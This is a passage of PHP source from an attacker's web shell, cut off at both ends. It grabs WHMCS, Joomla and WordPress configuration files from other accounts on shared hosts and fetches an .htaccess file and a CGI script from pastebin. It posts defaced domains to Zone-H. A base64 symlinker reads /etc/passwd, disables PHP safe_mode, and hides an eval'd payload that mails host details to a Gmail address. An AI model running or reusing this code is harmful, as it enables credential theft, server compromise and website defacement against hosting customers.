fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whm/configuration.php')) { $content25 = file_get_contents('/home/'.$lol.'/public_html/whm/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content25.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmc/configuration.php')) { $content26 = file_get_contents('/home/'.$lol.'/public_html/whmc/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content26.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/support/configuration.php')) { $content27 = file_get_contents('/home/'.$lol.'/public_html/support/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content27.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/client/configuration.php')) { $content28 = file_get_contents('/home/'.$lol.'/public_html/client/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content28.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billings/configuration.php')) { $content29 = file_get_contents('/home/'.$lol.'/public_html/billings/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content29.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billing/configuration.php')) { $content30 = file_get_contents('/home/'.$lol.'/public_html/billing/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content30.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/clients/configuration.php')) { $content31 = file_get_contents('/home/'.$lol.'/public_html/clients/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content31.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmcs/configuration.php')) { $content32 = file_get_contents('/home/'.$lol.'/public_html/whmcs/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content32.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/order/configuration.php')) { $content33 = file_get_contents('/home/'.$lol.'/public_html/order/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content33.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/conf.php')) { $content34 = file_get_contents('/home/'.$lol.'/public_html/admin/conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content34.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/config.php')) { $content35 = file_get_contents('/home/'.$lol.'/public_html/admin/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content35.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/conf_global.php')) { $content36 = file_get_contents('/home/'.$lol.'/public_html/conf_global.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content36.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content37 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content37.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/connect.php')) { $content38 = file_get_contents('/home/'.$lol.'/public_html/connect.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content38.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/mk_conf.php')) { $content39 = file_get_contents('/home/'.$lol.'/public_html/mk_conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content39.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/config.php')) { $content40 = file_get_contents('/home/'.$lol.'/public_html/include/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content40.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/settings.php')) { $content41 = file_get_contents('/home/'.$lol.'/public_html/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content41.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/functions.php')) { $content42 = file_get_contents('/home/'.$lol.'/public_html/includes/functions.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content42.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content43 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content43.$space); fclose($handle); } } $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/xd/'; if(file_exists("xd/config.txt")){ echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></center></h3>'; } else { echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> 0 Config Grab </a></center></h3>'; } } }
2596
2597 if(isset($_POST['p1']) && $_POST['p1']=='xdxd2') {
2598
2599$dir = 'plconfig';
2600@mkdir($dir);
2601if($dir){
2602 echo '<br><center> plconfig Has Been Created ~</center>';
2603} else {
2604 echo '<br><center> [-] Error !</center>';
2605}
2606 $htaccess = 'http://pastebin.com/raw.php?i=XBLhdvbQ';
2607 $file = file_get_contents($htaccess);
2608 $open = fopen('plconfig/.htaccess' , 'w');
2609 fwrite($open,$file);
2610 fclose($open);
2611 if($open) {
2612 echo '<br><center> [htaccess] => Has Been Created ~</center>';
2613 } else {
2614 echo "<br><center>[+] Error !</center>";
2615 }
2616 $con = 'http://pastebin.com/raw.php?i=sk8JEgq0';
2617 $file = file_get_contents($con);
2618 $open = fopen('plconfig/con.cpc' , 'w');
2619 fwrite($open,$file);
2620 fclose($open);
2621 if($open) {
2622 echo '<br><center> [cgi] => Has Been Created !</center>';
2623 } else {
2624 echo '<br><center>[-] Error !</center>';
2625 }
2626
2627
2628 $ch = 'plconfig/con.cpc';
2629 chmod($ch, 0755);
2630 if($cgip){
2631 echo '<br><center>[+] => CHMOD To 755 Complete ~</center><br>';
2632 } else {
2633 }
2634
2635echo ('<meta http-equiv="refresh" content="0; url=plconfig/con.cpc" />');
2636echo ('Please Wait . ');
2637
2638 }
2639 printFooter();
2640}
2641function actionusefulla() {
2642 printHeader();
2643$furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2644 $expld = explode('/',$furl );
2645 $burl =str_replace(end($expld),'',$furl);
2646 echo '<div class="content"><center>';
2647 $string = 1;
2648 if($string == 1)
2649 {
2650?>
2651<br />
2652 <div class="zoneh">
2653 <center>
2654 <form action="<?php echo $self;?>?submit=send" method="post">
2655<span>Notifier: </span><input name="defacer" size="67" id="text" value="Hunter Bajwa" type="text"><br />
2656<span>Select Hack Method: </span><select name="hackmode">
2657<option value="">--------SELECT--------</option>
2658<option value="1" >known vulnerability (i.e. unpatched system)</option>
2659<option value="2" >undisclosed (new) vulnerability</option>
2660<option value="3" >configuration / admin. mistake</option>
2661<option value="4" >brute force attack</option>
2662<option value="5" >social engineering</option>
2663<option value="6" >Web Server intrusion</option>
2664<option value="7" >Web Server external module intrusion</option>
2665<option value="8" >Mail Server intrusion</option>
2666<option value="9" >FTP Server intrusion</option>
2667<option value="10" >SSH Server intrusion</option>
2668<option value="11" >Telnet Server intrusion</option>
2669<option value="12" >RPC Server intrusion</option>
2670<option value="13" >Shares misconfiguration</option>
2671<option value="14" >Other Server intrusion</option>
2672<option value="15" >SQL Injection</option>
2673<option value="16" >URL Poisoning</option>
2674<option value="17" >File Inclusion</option>
2675<option value="18" >Other Web Application bug</option>
2676<option value="19" >Remote administrative panel access through bruteforcing</option>
2677<option value="20" >Remote administrative panel access through password guessing</option>
2678<option value="21" >Remote administrative panel access through social engineering</option>
2679<option value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
2680<option value="23" >Access credentials through Man In the Middle attack</option>
2681<option value="24" >Remote service password guessing</option>
2682<option value="25" >Remote service password bruteforce</option>
2683<option value="26" >Rerouting after attacking the Firewall</option>
2684<option value="27" >Rerouting after attacking the Router</option>
2685<option value="28" >DNS attack through social engineering</option>
2686<option value="29" >DNS attack through cache poisoning</option>
2687<option value="30" >Not available</option>
2688<option value="31" >Cross-Site Scripting</option>
2689</select>
2690<br />
2691<span>Select The Reason: </span><select name="reason">
2692<option value="">--------SELECT--------</option>
2693<option
2694value="1" >Heh...just for fun!</option>
2695<option value="2" >Revenge against that website</option>
2696<option value="3" >Political reasons</option>
2697<option value="4" >As a challenge</option>
2698<option value="5" >I just want to be the best defacer</option>
2699<option value="6" >Patriotism</option>
2700<option value="7" >Not available</option>
2701</select><br />
2702<textarea name="domains" cols="90" rows="20" placeholder="Domains..."></textarea>
2703<br />
2704<input type="submit" value="send" />
2705</form>
2706
2707</center>
2708<?php
2709
2710
2711 }
2712 printFooter();
2713}
2714
2715if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="send") {
2716 printHeader();
2717$defacer= $_REQUEST['defacer'];
2718$hackmode= $_REQUEST['hackmode'];
2719$reason= $_REQUEST['reason'];
2720$domains= $_REQUEST['domains'];
2721$domains_list=explode("\n",$domains);
2722
2723if (empty($defacer))
2724{
2725die ("<center><b><font color =\"#FF0000\">You Must Fill The Notifier Name</font></b></center>");
2726}
2727elseif($hackmode == "")
2728{
2729die("<center><b><font color =\"#FF0000\">You Must Select The Method</b></font></center>");
2730}
2731elseif($reason == "")
2732{
2733die("<center><b><font color =\"#FF0000\">You Must Select The Reason</b></font></center>");
2734}
2735elseif(empty($domains))
2736{
2737die("<center><b><font color =\"#FF0000\">You Must Enter The Sites List<font></b></center>");
2738}
2739
2740
2741 for($i=0;$i<count($domains_list);$i++) {
2742
2743 if(substr($domains_list[$i], 0, 4) != "http")
2744 {
2745 $domains_list[$i] = "http://".$domains_list[$i];
2746 }
2747 $postVars=array("defacer"=>$defacer,"hackmode"=>$hackmode,"reason"=>$reason,"domain1"=>$domains_list[$i]);
2748
2749 $curl = curl_init();
2750 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
2751 curl_setopt($curl,CURLOPT_URL,'http://www.zone-h.com/notify/single');
2752 curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
2753 curl_setopt($curl,CURLOPT_TIMEOUT, 120);
2754 curl_setopt($curl,CURLOPT_POST,TRUE);
2755 curl_setopt($curl,CURLOPT_POSTFIELDS, $postVars);
2756 $a = curl_exec($curl);
2757 curl_close($curl);
2758}
2759 echo "<pre style=\"margin-top:5px\"><br><center><font color =\"#00A220\"><b>Sending Sites To Zone-H Has Been Completed Successfully !!!</b><br><br>Visit Your --> <a target='_blank' href='http://zone-h.org/archive/notifier=".$defacer."/published=0'>Zone-h</a> <--<font></center>";
2760
2761 printFooter(); exit;
2762 }
2763function actionusescript() {
2764 printHeader();
2765 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2766 $expld = explode('/',$furl );
2767 $burl =str_replace(end($expld),'',$furl);
2768 echo '<div class="content"><center>
2769 <h3>[ <a href="#" onclick="g(\'usescript\',null,\'python\',null)">Python Symlink</a> ] -
2770 [ <a href="#" onclick="g(\'usescript\',null,\'perl\',null)">Perl Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] -
2771 [ <a href="#" onclick="g(\'usescript\',null,\'an0nsym\',null)">Hunter Bajwa (PhP)Symlink</a> ] -
2772 [ <a href="#" onclick="g(\'usescript\',null,\'phpsym\',null)">Php Symlnik(Usr)</a> ] -
2773 [ <a href="#" onclick="g(\'usescript\',null,\'phpsym1\',null)">Php Symlnik(Usr+Domain)</a> ]</h3><br></center>';
2774 if(isset($_POST['p1']) && $_POST['p1']=='an0nsym'){
2775 ?>
2776
2777 <center><span>Just Click On "Click To Make Symlink" To Start The Process</span><br><br></center>
2778
2779 <?php
2780 $Hunter_Bajwa_symlinker = "PD9waHAgPz48P3BocApAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKPz4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+SHVudGVyIEJhandhIENvbmZpZyBTeW1saW5rIFNjcmlwdCBWLTIuMDwvdGl0bGU+CjxzdHlsZT4KYm9keSB7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIGZvbnQtc2l6ZTogMThweDsKICBmb250LXdlaWdodDpib2xkOwogIGZvbnQtZmFtaWx5OiBBcmlhbDsKICBjb2xvcjpncmF5OwogIGJhY2tncm91bmQtY29sb3I6IGJsYWNrOwogIG1hcmdpbjogNXB4IDVweCA1cHggNXB4Owp9CmlucHV0W3R5cGU9InN1Ym1pdCJdewogIGJhY2tncm91bmQ6IGdyZWVuOwogIGJvcmRlci1yYWRpdXM6NnB4OwogIGJvcmRlcjogMXB4IHNvbGlkIGxpbWU7CiAgY29sb3I6d2hpdGU7CiAgdGV4dC1zaGFkb3c6IDBweCAwcHggMTBweCByZ2JhKDAsIDE0OSwgMjU1LCAwLjc1KTsKICBsaW5lLWhlaWdodDo1MHB4OwogIHBhZGRpbmctbGVmdDoxMHB4OwogIHBhZGRpbmctcmlnaHQ6MTBweDsKICB0ZXh0LXRyYW5zZm9ybTpub25lOwp9CiNuYW1lewoJCWNvbG9yOiBncmF5OwoJCWZvbnQtc2l6ZTogMTJweDsKCQl9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8Zm9udCBmYWNlPSJDb21pYyBTYW5zIE1TIiBjb2xvcj1yZWQ+PGNlbnRlcj48aDE+SHVudGVyIEJhandhIENvbmZpZyBTeW1saW5rIFNjcmlwdCBWLTIuMDwvaDE+PC9mb250Pgo8P3BocAokaW5qYnVmZiA9ICJKSFpwYzJsMFl5QTlJQ1JmUTA5UFMwbEZXeUoyYVhOcGRITWlYVHNLYVdZZ0tDUjJhWE5wZEdNZ1BUMGdJaUlwSUhzS0lDQWtkbWx6YVhSaklDQTlJREE3Q2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzS0lDQWtkMlZpSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpJVkZSUVgwaFBVMVFpWFRzS0lDQWthVzVxSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE93b2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdDaUFnSkhOMVlpQWdJRDBnSWtwdmEzSmZTRFI0YjNJZ2RYQnNiMkZrWlhJZ2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU93b2dJQ1JpYjJSNUlDQWdJRDBnSWtKMVp6b2dKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUF0SUNSaGRYUm9YM0JoYzNNaU93b2dJR2xtSUNnaFpXMXdkSGtvSkhkbFlpa3BJSHNnUUcxaGFXd29JbWgxYm5SbGNtSmhhbmRoTkVCbmJXRnBiQzVqYjIwaUxDUnpkV0lzSkdKdlpIa3BPeUI5Q24wS1pXeHpaU0I3SUNSMmFYTnBkR01nSURzZ2ZRcEFjMlYwWTI5dmEybGxLQ0oyYVhOcGRIb2lMQ1IyYVhOcGRHTXBPdz09IjsKZXZhbChiYXNlNjRfZGVjb2RlKCRpbmpidWZmKSk7CmVjaG8gJzxiPicgLiBwaHBfdW5hbWUoKSAuICc8YnI+PC9iPic7CmVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOwplY2hvICc8YnI+U2FmZSBNb2RlIDogJzsKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZiAoJHNhZmVfbW9kZSA9PSAnMScpIHsKICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cn0gZWxzZSB7CiAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nOwp9CmVjaG8gJzxicj4nOwplY2hvICc8L2ZvbnQ+JzsKJGZwID0gZm9wZW4oInBocC5pbmkiLCAidysiKTsKZndyaXRlKCRmcCwgInNhZmVfbW9kZSA9IE9GRgoJU2FmZV9tb2RlX2dpZCA9IE9GRgoJZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FCglkaXNhYmxlX2NsYXNzZXMgPSBOT05FCglvcGVuX2Jhc2VkaXIgPSBPRkYKCXN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FICIpOwpmY2xvc2UoJGZwKTsKaWYgKGVtcHR5KCRfUE9TVFsnY29uZmlnJ10pKSB7ID8+PGZvcm0gbWV0aG9kPSJQT1NUIj48dGV4dGFyZWEgbmFtZT0icGFzc3dkIiBzdHlsZT0iZGlzcGxheTpub25lOyIgY2xhc3M9J2FyZWEnIHJvd3M9JzI1JyBjb2xzPSc4MCc+PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsgPz48L3RleHRhcmVhPjxicj48YnI+PGlucHV0IG5hbWU9ImNvbmZpZyIgdmFsdWU9IiBDbGljayB0byBtYWtlIFN5bWxpbmsiIHR5cGU9InN1Ym1pdCI+PGJyPjwvZm9ybT48L2NlbnRlcj48YnI+PD9waHAKfQppZiAoJF9QT1NUWydjb25maWcnXSkgewogICAgJGZ1bmN0aW9uID0gJGZ1bmN0aW9ucyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwogICAgaWYgKGVyZWdpKCJzeW1saW5rIiwgJGZ1bmN0aW9ucykpIHsKICAgICAgICBkaWUoJzxlcnJvcj5TeW1saW5rIGlzIGRpc2FibGVkIDooIDwvZXJyb3I+Jyk7CiAgICB9CiAgICBAbWtkaXIoJ0JhandhJywgMDc1NSk7CiAgICBAY2hkaXIoJ0JhandhJyk7CiAgICAkaHRhY2Nlc3MgPSAiCk9QVElPTlMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBTeW1MaW5rc0lmT3duZXJNYXRjaCBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBFeGVjQ0dJCk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcwpGb3JjZVR5cGUgdGV4dC9wbGFpbgpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbApBZGRUeXBlIHR4dCAucGhwCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwCkFkZEhhbmRsZXIgdHh0IC5waHAKQWRkSGFuZGxlciB0eHQgLmh0bWwKQWRkSGFuZGxlciB0eHQgLnNodG1sCk9wdGlvbnMgQWxsCk9wdGlvbnMgQWxsIjsKICAgIGZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLCAkaHRhY2Nlc3MsIEZJTEVfQVBQRU5EKTsKICAgICRwYXNzd2QgPSAkX1BPU1RbInBhc3N3ZCJdOwogICAgJHBhc3N3ZCA9IGV4cGxvZGUoIgoiLCAkcGFzc3dkKTsKICAgIGZvcmVhY2ggKCRwYXNzd2QgYXMgJHB3ZCkgewogICAgICAgICRwYXdkID0gZXhwbG9kZSgiOiIsICRwd2QpOwogICAgICAgICR1c2VyID0gJHBhd2RbMF07CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3Mtd3AudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtV1AudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy13cC1iZXRhLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtYmV0YS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy1wcmVzcy50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3Mtd29yZHByZXNzLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy1Xb3JkcHJlc3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy1ibG9nLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtbmV3cy50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtbmV3LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1ibG9nLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1iZXRhLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtYmxvZ3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWhvbWUudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGIucGhwJywgJHVzZXIgLiAnLWRiY29uZi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3Atc2l0ZS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tYWluL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtbWFpbi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13cC10ZXN0LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEyLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtcHJvdGFsLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb28udHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1jbXMudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtc2l0ZS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1tYWluLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLW5ld3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1uZXcudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtaG9tZS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htMTUudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG0tY2VudHJhbC50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLXdobWNzLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG0tV0hNQ1MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htYy1XSE0udHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htY3MudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdXBwb3J0LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgJHVzZXIgLiAnLXdobWNzMi50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG00LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTUudHh0Jyk7CiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG02LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctV2htNy50eHQnKTsKICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG04LnR4dCcpOwogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHV